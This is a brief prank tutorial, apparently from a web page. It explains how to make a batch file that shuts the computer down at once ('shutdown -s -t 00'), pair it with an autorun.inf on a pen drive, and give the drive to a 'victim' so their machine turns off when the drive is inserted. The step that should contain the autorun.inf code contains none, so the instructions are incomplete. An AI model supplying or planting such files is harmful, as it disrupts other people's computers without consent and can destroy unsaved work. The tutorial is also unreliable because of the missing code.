Step 1:>>copy this code into notepad:
shutdown -s -t 00
Save as fun.bat extension (for eg: clickme.bat).
Now open the notepad and copy this code:
Save it as “autorun.inf”
//don’t forget to change the “filname.bat” with your filname.bat.
Then copy the two files in your pen drive or victim’s pen drive.
That’s all whenever the victim insert his pen drive,the system will be turned off automatically.